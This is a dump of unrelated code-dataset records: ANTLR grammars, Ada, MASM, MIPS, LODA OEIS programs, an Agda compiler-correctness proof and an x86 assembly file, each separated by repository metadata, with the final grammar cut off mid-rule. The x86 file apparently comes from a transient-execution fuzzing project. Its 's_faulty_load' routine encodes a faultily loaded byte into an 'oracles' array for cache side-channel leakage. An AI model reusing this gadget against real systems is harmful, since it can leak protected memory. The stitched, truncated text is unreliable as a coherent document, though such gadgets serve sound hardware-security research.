grammar Calculator; expression : additiveExpression EOF ; additiveExpression : multiplicativeExpression additionOrSubtraction* ; additionOrSubtraction : Plus multiplicativeExpression # addition | Minus multiplicativeExpression # subtraction ; multiplicativeExpression : unaryExpression multiplicationOrDivision* ; multiplicationOrDivision : Times unaryExpression # multiplication | Div unaryExpression # division | Modulo unaryExpression # modulo ; unaryExpression : negation | exponentialExpression ; negation : Minus exponentialExpression ; exponentialExpression : atom exponentiation* ; exponentiation : Pow atom ; atom : LeftParen additiveExpression RightParen | number ; number : Integer | Double ; Integer : Digit+ ; Double : Digit+ Point Digit* | Point Digit+ ; Digit: [0-9]; Point: '.'; Plus: '+'; Minus: '-'; Times: '*'; Div: '/'; Modulo: '%'; Pow: '^'; LeftParen: '('; RightParen: ')'; Whitespace: [ \t\r\n]+ -> skip; Error: .;
examples/dump_tree/dump_standard.adb
reznikmm/gela
0
22691
<filename>examples/dump_tree/dump_standard.adb -- SPDX-FileCopyrightText: 2019-2021 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ------------------------------------------------------------- with Ada.Characters.Conversions; with Ada.Command_Line; with Ada.Wide_Wide_Text_IO; with Program.Compilation_Unit_Vectors; with Program.Compilation_Units; with Program.Elements.Defining_Names; with Errors; with Program.Plain_Contexts; with Program.Visibility; with Program.Storage_Pools.Instance; pragma Unreferenced (Program.Storage_Pools.Instance); procedure Dump_Standard is type Verbosity is (Short, -- Just a name Normal, -- One line Long); -- Including nested items procedure Print (View : Program.Visibility.View; Padding : Wide_Wide_String := ""; Verbose : Verbosity); procedure Print (View : Program.Visibility.View_Array; Padding : Wide_Wide_String; Verbose : Verbosity); procedure Print (View : Program.Visibility.View_Iterator; Padding : Wide_Wide_String; Verbose : Verbosity); Indent : constant Wide_Wide_String := " "; Err : aliased Errors.Error_Listener; Ctx : aliased Program.Plain_Contexts.Context; ----------- -- Print -- ----------- procedure Print (View : Program.Visibility.View_Array; Padding : Wide_Wide_String; Verbose : Verbosity) is begin for J in View'Range loop Ada.Wide_Wide_Text_IO.New_Line; Print (View (J), Padding, Verbose); end loop; end Print; ----------- -- Print -- ----------- procedure Print (View : Program.Visibility.View_Iterator; Padding : Wide_Wide_String; Verbose : Verbosity) is use type Program.Visibility.View_Cursor; begin for J in View loop Ada.Wide_Wide_Text_IO.New_Line; Print (+J, Padding, Verbose); end loop; end Print; ----------- -- Print -- ----------- procedure Print (View : Program.Visibility.View; Padding : Wide_Wide_String := ""; Verbose : Verbosity) is use Program.Visibility; Name : constant Program.Elements.Defining_Names.Defining_Name_Access := Program.Visibility.Name (View); begin if Verbose = Short then Ada.Wide_Wide_Text_IO.Put (" "); else Ada.Wide_Wide_Text_IO.Put (Padding); end if; if Name.Assigned then Ada.Wide_Wide_Text_IO.Put (Name.Image); else Ada.Wide_Wide_Text_IO.Put ("___"); end if; if Verbose = Short and Name.Assigned then return; end if; Ada.Wide_Wide_Text_IO.Put (" [" & View_Kind'Wide_Wide_Image (View.Kind) & "]"); case View.Kind is when Unresolved_View => null; when Enumeration_Type_View => if Verbose = Long then Print (Enumeration_Literals (View), Padding & Indent, Normal); end if; when Signed_Integer_Type_View => null; when Modular_Type_View => null; when Float_Point_Type_View => null; when Array_Type_View => declare Indexes : constant Program.Visibility.View_Array := Program.Visibility.Indexes (View); begin for J in Indexes'Range loop Print (Indexes (J), Padding & Indent, Short); end loop; Ada.Wide_Wide_Text_IO.Put (" =>"); Print (Program.Visibility.Component (View), Padding & Indent, Short); end; when Implicit_Type_View | Incomplete_Type_View => null; when Enumeration_Literal_View => null; when Character_Literal_View => null; when Object_Access_Type_View => Print (Program.Visibility.Designated_Type (View), Padding & Indent, Short); when Subtype_View => Print (Program.Visibility.Subtype_Mark (View), Padding & Indent, Short); when Parameter_View | Component_View => Print (Program.Visibility.Subtype_Mark (View), Padding & Indent, Verbosity'Pred (Verbose)); if Program.Visibility.Has_Default (View) then Ada.Wide_Wide_Text_IO.Put ("?"); end if; when Variable_View => Print (Program.Visibility.Subtype_Mark (View), Padding & Indent, Verbosity'Pred (Verbose)); when Exception_View => null; when Procedure_View .. Package_View | Record_Type_View => if Verbose = Long then Print (Region_Items (View), Padding & Indent, Normal); end if; end case; end Print; Last : Positive := Ada.Command_Line.Argument_Count + 1; begin Ctx.Initialize (Err'Unchecked_Access); for J in 1 .. Ada.Command_Line.Argument_Count loop declare Arg : constant Wide_Wide_String := Ada.Characters.Conversions.To_Wide_Wide_String (Ada.Command_Line.Argument (J)); begin if Arg'Length > 2 and then Arg (1 .. 2) = "-I" then Ctx.Add_Search_Directory (Arg (3 .. Arg'Last)); elsif Arg = "--" then Last := J + 1; exit; else Ctx.Parse_File (Arg); end if; end; end loop; Ctx.Complete_Analysis; if Last > Ada.Command_Line.Argument_Count then Print (Ctx.Immediate_Visible ("", "Standard"), "", Long); else declare Unit : constant Wide_Wide_String := Ada.Characters.Conversions.To_Wide_Wide_String (Ada.Command_Line.Argument (Last)); Name : constant Wide_Wide_String := Ada.Characters.Conversions.To_Wide_Wide_String (Ada.Command_Line.Argument (Last + 1)); begin Print (Ctx.Immediate_Visible (Unit, Name), "", Long); end; end if; end Dump_Standard;
Examples/ch10/Fibon.asm
satadriver/LiunuxOS
0
11683
TITLE Fibonacci Numbers (Finbon.asm) ; This program shows how use the WHILE directive ; to generate doubleword variables containing ; all Fibonacci numbers less than a given limit. ; Last update: 10/14/01 INCLUDE Irvine32.inc .data val1 = 1 val2 = 1 DWORD val1 ; first two values DWORD val2 val3 = val1 + val2 WHILE val3 LT 0F0000000h DWORD val3 val1 = val2 val2 = val3 val3 = val1 + val2 ENDM .code main PROC exit main ENDP END main
Read dialog box/read_dialogbox_string.asm
berkcetinsaya/MIPSLanguageExamples
0
168695
<reponame>berkcetinsaya/MIPSLanguageExamples .data message: .asciiz "This is a message\n" buffer: .space 4 # address space will be allocated to store string variable maxBuffer: .word 4 # length of the maxBuffer .text la $a0, message # general message to print will be loaded to $a0 la $a1, buffer # (buffer) bytes user input will be stored in $a1 # $a1 = 0:OK(user input), -2:Cancel, -3:OK but no data, -4:Length exceeded. lw $a2, maxBuffer # max bytes which will be read will be stored in $a2 addi $v0, $zero, 54 # service 54 to display a string dialog box to get a string input from the user syscall
programs/oeis/093/A093450.asm
neoneye/loda
22
172093
; A093450: Number of consecutive integers whose product = A093449(n). ; 2,2,2,2,3,3,2,3,3,2,2,2,2,2,2,2,2 lpb $0 sub $0,2 add $1,$0 trn $0,2 bin $0,2 div $1,2 lpe add $1,2 mov $0,$1
oeis/159/A159897.asm
neoneye/loda-programs
11
1679
<reponame>neoneye/loda-programs ; A159897: Decimal expansion of (843+58*sqrt(2))/839. ; Submitted by <NAME>(w3) ; 1,1,0,2,5,3,2,0,4,6,0,2,8,1,7,5,8,1,9,8,2,1,8,0,9,2,3,2,4,2,4,5,0,8,3,2,9,6,2,6,9,8,5,6,6,0,0,3,7,9,7,7,3,3,9,9,8,1,2,2,4,5,8,2,6,0,2,4,5,8,2,6,4,3,0,3,6,9,7,5,0,6,8,5,7,3,5,6,9,4,5,1,6,2,1,0,1,5,6,2 bin $1,$0 mov $2,2 mov $3,$0 mul $3,4 lpb $3 add $5,$2 add $1,$5 add $2,$1 mov $1,$2 sub $3,1 lpe mul $1,2 add $2,$5 mov $4,10 pow $4,$0 add $5,$2 div $2,4 mul $2,50 add $2,$5 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
Lambda/Closure/Functional/No-workarounds.agda
nad/codata
1
1549
<filename>Lambda/Closure/Functional/No-workarounds.agda ------------------------------------------------------------------------ -- Functional semantics for an untyped λ-calculus with constants ------------------------------------------------------------------------ {-# OPTIONS --no-termination-check #-} module Lambda.Closure.Functional.No-workarounds where open import Category.Monad open import Category.Monad.Partiality as Partiality using (_⊥; never; OtherKind; other; steps) open import Codata.Musical.Notation open import Data.Empty using (⊥-elim) open import Data.List hiding (lookup) open import Data.Maybe hiding (_>>=_) import Data.Maybe.Categorical as Maybe open import Data.Nat open import Data.Product open import Data.Sum open import Data.Vec using (Vec; []; _∷_; lookup) open import Function import Level open import Relation.Binary using (module Preorder) open import Relation.Binary.PropositionalEquality as P using (_≡_) open import Relation.Nullary open import Relation.Nullary.Negation open Partiality._⊥ private open module E {A : Set} = Partiality.Equality (_≡_ {A = A}) open module R {A : Set} = Partiality.Reasoning (P.isEquivalence {A = A}) open import Lambda.Syntax open Closure Tm open import Lambda.VirtualMachine open Functional private module VM = Closure Code ------------------------------------------------------------------------ -- A monad with partiality and failure PF : RawMonad {f = Level.zero} (_⊥ ∘ Maybe) PF = Maybe.monadT Partiality.monad module PF where open RawMonad PF public fail : {A : Set} → Maybe A ⊥ fail = now nothing _>>=-cong_ : ∀ {k} {A B : Set} {x₁ x₂ : Maybe A ⊥} {f₁ f₂ : A → Maybe B ⊥} → Rel k x₁ x₂ → (∀ x → Rel k (f₁ x) (f₂ x)) → Rel k (x₁ >>= f₁) (x₂ >>= f₂) _>>=-cong_ {k} {f₁ = f₁} {f₂} x₁≈x₂ f₁≈f₂ = Partiality._>>=-cong_ x₁≈x₂ helper where helper : ∀ {x y} → x ≡ y → Rel k (maybe f₁ fail x) (maybe f₂ fail y) helper {x = nothing} P.refl = fail ∎ helper {x = just x} P.refl = f₁≈f₂ x associative : {A B C : Set} (x : Maybe A ⊥) (f : A → Maybe B ⊥) (g : B → Maybe C ⊥) → (x >>= f >>= g) ≅ (x >>= λ y → f y >>= g) associative x f g = (x >>= f >>= g) ≅⟨ Partiality.associative P.refl x _ _ ⟩ (x >>=′ λ y → maybe f fail y >>= g) ≅⟨ Partiality._>>=-cong_ (x ∎) helper ⟩ (x >>= λ y → f y >>= g) ∎ where open RawMonad Partiality.monad renaming (_>>=_ to _>>=′_) helper : ∀ {y₁ y₂} → y₁ ≡ y₂ → (maybe f fail y₁ >>= g) ≅ maybe (λ z → f z >>= g) fail y₂ helper {y₁ = nothing} P.refl = fail ∎ helper {y₁ = just y} P.refl = (f y >>= g) ∎ >>=-inversion-⇓ : ∀ {k} {A B : Set} x {f : A → Maybe B ⊥} {y} → (x>>=f⇓ : (x >>= f) ⇓[ k ] just y) → ∃ λ z → ∃₂ λ (x⇓ : x ⇓[ k ] just z) (fz⇓ : f z ⇓[ k ] just y) → steps x⇓ + steps fz⇓ ≡ steps x>>=f⇓ >>=-inversion-⇓ x {f} x>>=f⇓ with Partiality.>>=-inversion-⇓ {_∼A_ = _≡_} P.refl x x>>=f⇓ ... | (nothing , x↯ , now () , _) ... | (just z , x⇓ , fz⇓ , eq) = (z , x⇓ , fz⇓ , eq) >>=-inversion-⇑ : ∀ {k} {A B : Set} x {f : A → Maybe B ⊥} → (x >>= f) ⇑[ other k ] → ¬ ¬ (x ⇑[ other k ] ⊎ ∃ λ y → x ⇓[ other k ] just y × f y ⇑[ other k ]) >>=-inversion-⇑ {k} x {f} x>>=f⇑ = helper ⟨$⟩ Partiality.>>=-inversion-⇑ P.isEquivalence x x>>=f⇑ where open RawMonad ¬¬-Monad renaming (_<$>_ to _⟨$⟩_) helper : (_ ⊎ ∃ λ (y : Maybe _) → _) → _ helper (inj₁ x⇑ ) = inj₁ x⇑ helper (inj₂ (just y , x⇓,fy⇑) ) = inj₂ (y , x⇓,fy⇑) helper (inj₂ (nothing , x↯,now∼never)) = ⊥-elim (Partiality.now≉never (proj₂ x↯,now∼never)) open PF ------------------------------------------------------------------------ -- Semantics infix 5 _∙_ -- Note that this definition gives us determinism "for free". mutual ⟦_⟧ : ∀ {n} → Tm n → Env n → Maybe Value ⊥ ⟦ con i ⟧ ρ = return (con i) ⟦ var x ⟧ ρ = return (lookup ρ x) ⟦ ƛ t ⟧ ρ = return (ƛ t ρ) ⟦ t₁ · t₂ ⟧ ρ = ⟦ t₁ ⟧ ρ >>= λ v₁ → ⟦ t₂ ⟧ ρ >>= λ v₂ → v₁ ∙ v₂ _∙_ : Value → Value → Maybe Value ⊥ con i ∙ v₂ = fail ƛ t₁ ρ ∙ v₂ = later (♯ (⟦ t₁ ⟧ (v₂ ∷ ρ))) ------------------------------------------------------------------------ -- Example Ω-loops : ⟦ Ω ⟧ [] ≈ never Ω-loops = later (♯ Ω-loops) ------------------------------------------------------------------------ -- Some lemmas -- An abbreviation. infix 5 _⟦·⟧_ _⟦·⟧_ : Maybe Value ⊥ → Maybe Value ⊥ → Maybe Value ⊥ v₁ ⟦·⟧ v₂ = v₁ >>= λ v₁ → v₂ >>= λ v₂ → v₁ ∙ v₂ -- _⟦·⟧_ preserves equality. _⟦·⟧-cong_ : ∀ {k v₁₁ v₁₂ v₂₁ v₂₂} → Rel k v₁₁ v₂₁ → Rel k v₁₂ v₂₂ → Rel k (v₁₁ ⟦·⟧ v₁₂) (v₂₁ ⟦·⟧ v₂₂) v₁₁≈v₂₁ ⟦·⟧-cong v₁₂≈v₂₂ = v₁₁≈v₂₁ >>=-cong λ v₁ → v₁₂≈v₂₂ >>=-cong λ v₂ → v₁ ∙ v₂ ∎ -- The semantics of application is compositional (with respect to the -- syntactic equality which is used). ·-comp : ∀ {n} (t₁ t₂ : Tm n) {ρ} → ⟦ t₁ · t₂ ⟧ ρ ≅ ⟦ t₁ ⟧ ρ ⟦·⟧ ⟦ t₂ ⟧ ρ ·-comp t₁ t₂ = _ ∎ ------------------------------------------------------------------------ -- Compiler correctness module Correctness where -- The relation _≈_ does not admit unrestricted use of transitivity -- in corecursive proofs, so I have formulated the correctness proof -- using a continuation. Note that the proof would perhaps be easier -- if the semantics was also formulated in continuation-passing -- style. mutual correct : ∀ {n} t {ρ : Env n} {c s} {k : Value → Maybe VM.Value ⊥} → (∀ v → exec ⟨ c , val (comp-val v) ∷ s , comp-env ρ ⟩ ≈ k v) → exec ⟨ comp t c , s , comp-env ρ ⟩ ≈ (⟦ t ⟧ ρ >>= k) correct (con i) {ρ} {c} {s} {k} hyp = laterˡ ( exec ⟨ c , val (Lambda.Syntax.Closure.con i) ∷ s , comp-env ρ ⟩ ≈⟨ hyp (con i) ⟩ k (con i) ∎) correct (var x) {ρ} {c} {s} {k} hyp = laterˡ ( exec ⟨ c , val (lookup (comp-env ρ) x) ∷ s , comp-env ρ ⟩ ≡⟨ P.cong (λ v → exec ⟨ c , val v ∷ s , comp-env ρ ⟩) (lookup-hom x ρ) ⟩ exec ⟨ c , val (comp-val (lookup ρ x)) ∷ s , comp-env ρ ⟩ ≈⟨ hyp (lookup ρ x) ⟩ k (lookup ρ x) ∎) correct (ƛ t) {ρ} {c} {s} {k} hyp = laterˡ ( exec ⟨ c , val (comp-val (ƛ t ρ)) ∷ s , comp-env ρ ⟩ ≈⟨ hyp (ƛ t ρ) ⟩ k (ƛ t ρ) ∎) correct (t₁ · t₂) {ρ} {c} {s} {k} hyp = exec ⟨ comp t₁ (comp t₂ (app ∷ c)) , s , comp-env ρ ⟩ ≈⟨ correct t₁ (λ v₁ → correct t₂ (λ v₂ → ∙-correct v₁ v₂ hyp)) ⟩ (⟦ t₁ ⟧ ρ >>= λ v₁ → ⟦ t₂ ⟧ ρ >>= λ v₂ → v₁ ∙ v₂ >>= k) ≅⟨ ((⟦ t₁ ⟧ ρ ∎) >>=-cong λ _ → sym $ associative (⟦ t₂ ⟧ ρ) _ _) ⟩ (⟦ t₁ ⟧ ρ >>= λ v₁ → (⟦ t₂ ⟧ ρ >>= λ v₂ → v₁ ∙ v₂) >>= k) ≅⟨ sym $ associative (⟦ t₁ ⟧ ρ) _ _ ⟩ (⟦ t₁ ⟧ ρ ⟦·⟧ ⟦ t₂ ⟧ ρ >>= k) ≅⟨ _ ∎ ⟩ (⟦ t₁ · t₂ ⟧ ρ >>= k) ∎ ∙-correct : ∀ {n} v₁ v₂ {ρ : Env n} {c s} {k : Value → Maybe VM.Value ⊥} → (∀ v → exec ⟨ c , val (comp-val v) ∷ s , comp-env ρ ⟩ ≈ k v) → exec ⟨ app ∷ c , val (comp-val v₂) ∷ val (comp-val v₁) ∷ s , comp-env ρ ⟩ ≈ (v₁ ∙ v₂ >>= k) ∙-correct (con i) v₂ _ = fail ∎ ∙-correct (ƛ t₁ ρ₁) v₂ {ρ} {c} {s} {k} hyp = exec ⟨ app ∷ c , val (comp-val v₂) ∷ val (comp-val (ƛ t₁ ρ₁)) ∷ s , comp-env ρ ⟩ ≈⟨ later (♯ ( exec ⟨ comp t₁ [ ret ] , ret c (comp-env ρ) ∷ s , comp-env (v₂ ∷ ρ₁) ⟩ ≈⟨ correct t₁ (λ v → laterˡ (hyp v)) ⟩ (⟦ t₁ ⟧ (v₂ ∷ ρ₁) >>= k) ∎)) ⟩ (ƛ t₁ ρ₁ ∙ v₂ >>= k) ∎ -- Note that the equality that is used here is syntactic. correct : ∀ t → exec ⟨ comp t [] , [] , [] ⟩ ≈ (⟦ t ⟧ [] >>= λ v → PF.return (comp-val v)) correct t = Correctness.correct t (λ v → return (comp-val v) ∎)
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_1772.asm
ljhsiun2/medusa
9
243782
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0xc21a, %rdx clflush (%rdx) xor $36163, %r10 movl $0x61626364, (%rdx) nop nop nop xor $14502, %r12 lea addresses_normal_ht+0xea1a, %rsi nop nop nop nop nop cmp $49013, %r9 movb (%rsi), %r11b nop nop nop nop nop inc %r9 lea addresses_WT_ht+0x2c5b, %rsi lea addresses_D_ht+0x6798, %rdi nop nop nop nop nop and %r10, %r10 mov $76, %rcx rep movsb xor %rsi, %rsi lea addresses_UC_ht+0x659a, %r12 nop and $34069, %r9 vmovups (%r12), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rcx nop nop xor $10218, %rdx lea addresses_normal_ht+0xa2a2, %r12 nop nop nop nop nop dec %rcx mov $0x6162636465666768, %r10 movq %r10, (%r12) nop nop nop dec %r10 lea addresses_WC_ht+0xbf1a, %rsi nop nop nop nop and %rdx, %rdx movb $0x61, (%rsi) nop nop nop sub %r10, %r10 lea addresses_D_ht+0xb192, %rsi inc %r11 mov $0x6162636465666768, %rdx movq %rdx, %xmm4 movups %xmm4, (%rsi) nop nop nop sub %r12, %r12 lea addresses_WT_ht+0x1b84e, %rcx nop nop nop cmp %rdi, %rdi mov $0x6162636465666768, %r12 movq %r12, (%rcx) nop nop nop nop nop and $7807, %r9 lea addresses_normal_ht+0xfa02, %rsi nop nop nop nop and $33000, %rdi movb (%rsi), %r11b nop nop nop xor $20161, %rdi lea addresses_D_ht+0x1861a, %rdi nop nop nop nop nop add %r9, %r9 mov (%rdi), %cx nop sub %rdi, %rdi lea addresses_A_ht+0x1870a, %rcx nop nop xor %rsi, %rsi mov $0x6162636465666768, %rdx movq %rdx, %xmm7 and $0xffffffffffffffc0, %rcx vmovaps %ymm7, (%rcx) dec %r12 lea addresses_normal_ht+0x9e1a, %r12 nop nop nop nop sub $8189, %rdx movb (%r12), %r10b nop nop nop cmp $25672, %rdx lea addresses_UC_ht+0x1351a, %rsi lea addresses_normal_ht+0x17e1a, %rdi nop nop dec %r9 mov $50, %rcx rep movsb nop nop nop inc %rdi lea addresses_UC_ht+0x1611a, %rsi clflush (%rsi) nop cmp $17316, %rdi mov $0x6162636465666768, %rdx movq %rdx, %xmm1 vmovups %ymm1, (%rsi) xor $22144, %r10 lea addresses_normal_ht+0x377b, %rsi lea addresses_UC_ht+0x59a, %rdi clflush (%rsi) xor $52966, %r10 mov $115, %rcx rep movsw nop nop xor %r12, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r8 push %rbp push %rbx push %rdi push %rsi // Store lea addresses_WT+0x1e05a, %rsi nop nop nop nop nop cmp $32592, %r8 mov $0x5152535455565758, %r10 movq %r10, %xmm0 vmovups %ymm0, (%rsi) nop nop xor %rsi, %rsi // Faulty Load lea addresses_D+0x1ae1a, %rbx nop nop nop nop xor $36692, %rbp movups (%rbx), %xmm7 vpextrq $1, %xmm7, %r8 lea oracles, %rbp and $0xff, %r8 shlq $12, %r8 mov (%rbp,%r8,1), %r8 pop %rsi pop %rdi pop %rbx pop %rbp pop %r8 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
oeis/201/A201560.asm
neoneye/loda-programs
11
88928
<filename>oeis/201/A201560.asm ; A201560: a(n) = (Sum(m^(n-1), m=1..n-1) + 1) modulo n. ; Submitted by <NAME> ; 0,0,0,1,0,4,0,1,7,6,0,1,0,8,11,1,0,10,0,1,15,12,0,1,21,14,19,1,0,16,0,1,23,18,1,1,0,20,27,1,0,22,0,1,22,24,0,1,43,26,35,1,0,28,1,1,39,30,0,1,0,32,43,1,53,34,0,1,47,36,0,1,0,38,51,1,1,40,0,1,55,42,0,1,69,44,59,1,0,46,79,1,63,48,1,1,0,50,67,1 mov $2,$0 seq $0,120490 ; 1 + Sum[ k^(n-1), {k,1,n}]. add $2,1 mod $0,$2
oeis/266/A266666.asm
neoneye/loda-programs
11
100075
; A266666: Triangle read by rows giving successive states of cellular automaton generated by "Rule 51" initiated with a single ON (black) cell. ; Submitted by <NAME>(s4) ; 1,1,0,1,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1 lpb $0 add $1,$2 sub $0,$1 cmp $2,0 sub $0,$2 lpe pow $2,$0 add $2,$1 mov $0,$2 mod $0,2
src/main/antlr/com/dbjgb/advent/twenty/puzzle/nineteen/NineteenLexer.g4
bradhandy/advent-of-code-solutions
0
7685
<gh_stars>0 lexer grammar NineteenLexer; options { language = Java; } @header { package com.dbjgb.advent.twenty.puzzle.nineteen; } A58: A127 A99 | A105 A36; A56: A71 A99 | A102 A36; A116: A36 | A99; A42: A19 A36 | A68 A99; A67: A36 A71 | A99 A73; A117: A81 A99 | A80 A36; A77: A99 A37 | A36 A83; A106: A27 A99 | A32 A36; A73: A36 A99 | A99 A99; A126: A15 A36 | A73 A99; A133: A99 A99 | A36 A116; A92: A99 A51 | A36 A14; A61: A99 A21 | A36 A6; A6: A54 A116; A33: A36 A103 | A99 A9; A131: A54 A99 | A15 A36; A81: A36 A38 | A99 A78; A93: A99 A100 | A36 A87; A1: A113 A99 | A129 A36; A36: 'b'; A70: A99 A130 | A36 A122; A76: A99 A4 | A36 A44; A79: A65 A99 | A48 A36; A99: 'a'; A108: A118 A99 | A96 A36; A15: A36 A36; A2: A99 A102 | A36 A27; A103: A109 A99 | A136 A36; A9: A23 A99 | A63 A36; A12: A15 A99 | A123 A36; A137: A36 A54 | A99 A20; A13: A36 A30 | A99 A70; A7: A99 A32 | A36 A102; A94: A18 A36 | A59 A99; A71: A36 A99; A3: A99 A104 | A36 A62; A4: 